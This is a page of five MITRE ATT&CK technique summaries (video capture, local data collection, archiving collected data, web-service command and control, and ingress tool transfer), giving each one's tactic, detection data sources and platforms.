Description:	An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use utilities to compress and/or encrypt collected data prior to exfiltration. Many utilities include functionalities to compress, encrypt, or otherwise package data into a format that is easier/more secure to transport.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre